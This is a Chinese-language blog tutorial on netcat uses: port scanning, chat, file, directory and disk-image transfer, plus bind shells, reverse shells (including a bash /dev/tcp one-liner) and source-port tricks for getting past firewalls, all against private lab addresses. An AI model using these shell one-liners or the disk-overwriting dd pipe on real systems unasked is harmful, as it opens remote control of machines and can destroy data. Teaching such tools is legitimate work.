Jusene's Blog

netcat网络瑞士军刀

字数统计: 592阅读时长: 2 min
2017/04/16 Share

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

端口扫描

1
[root@node1 ~]# nc -z -v -n 10.211.55.24 1-100
2
nc: connect to 10.211.55.24 port 1 (tcp) failed: Connection refused
3
nc: connect to 10.211.55.24 port 2 (tcp) failed: Connection refused
4
nc: connect to 10.211.55.24 port 3 (tcp) failed: Connection refused
5
nc: connect to 10.211.55.24 port 4 (tcp) failed: Connection refused
6
nc: connect to 10.211.55.24 port 5 (tcp) failed: Connection refused
7
...

默认运行tcp扫描,-u参数调整udp
-z 连接成功后立马退出
-v 详细内容输出
-n 不进行反查

chat server

1
server
2
nc -l -v -p 1567
3
client
4
nc 10.211.55.24 1567

文件传输

1
server
2
nc -l 1567 < file.txt
3
client
4
nc -n 10.211.55.24 1567 > file.txt
5
server端作为文件源,无论哪个客户端访问都会发送文件,反之...
1
server
2
nc -l 1567 > file.txt
3
client
4
nc -n 10.211.55.24 1567 < file.txt
5
server作为文件存放地,任何客户端都可以发送文件到服务端

目录传送

文件传送很简单,如果我们需要传送目录,我们需要先打包压缩,接受后再解压。

1
server
2
tar -czvf - dir_name | nc -l 1567
3
client 
4
nc -n 10.211.55.24 1567 | tar -xzvf -

克隆一个设备

1
server
2
dd if=/dev/sda | nc -l 1567
3
client
4
nc -n 10.211.55.24 1567 | dd of=/dev/sda

打开一个shell

1
假设netcat支持-c -e选项
2
server
3
nc -l 1567 [-e | -c] /bin/bash 
4
client
5
nc -n 10.211.55.24 1567
6
客户端只要连接端口,就可以远程操作shell
1
假设netcat不支持-c -e选项
2
server
3
mkfifo /tmp/tmp_fifo
4
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
5
client
6
nc -n 10.211.55.24 1567
7
会得到一个shell的提示符在客户端

反向shell

1
server 端监听一个端口
2
nc -l 1567client 发送一个shell
3
nc 10.211.55.24 1567 -e /bin/bash
4
服务端获得client的shell
1
linux本身也可以发送shell
2
bash -i >& /dev/tcp/10.211.55.24/1567 0>&1
3
服务端可以得到shell的提示符

指定源地址和源端口

1
假设防火墙过滤了大多数端口,我们可以指定源端口
2
server
3
nc -l 1567
4
client
5
nc -n 10.211.55.35 -p 25
1
假设有多个地址,指定地址与外部通信
2
服务端
3
nc -u -l 1567 < file.txt
4
客户端
5
nc -u 10.211.55.24 -s 10.211.55.35 > file.txt
CATALOG
  1. 1. 端口扫描
  2. 2. chat server
  3. 3. 文件传输
  4. 4. 目录传送
  5. 5. 克隆一个设备
  6. 6. 打开一个shell
  7. 7. 反向shell
  8. 8. 指定源地址和源端口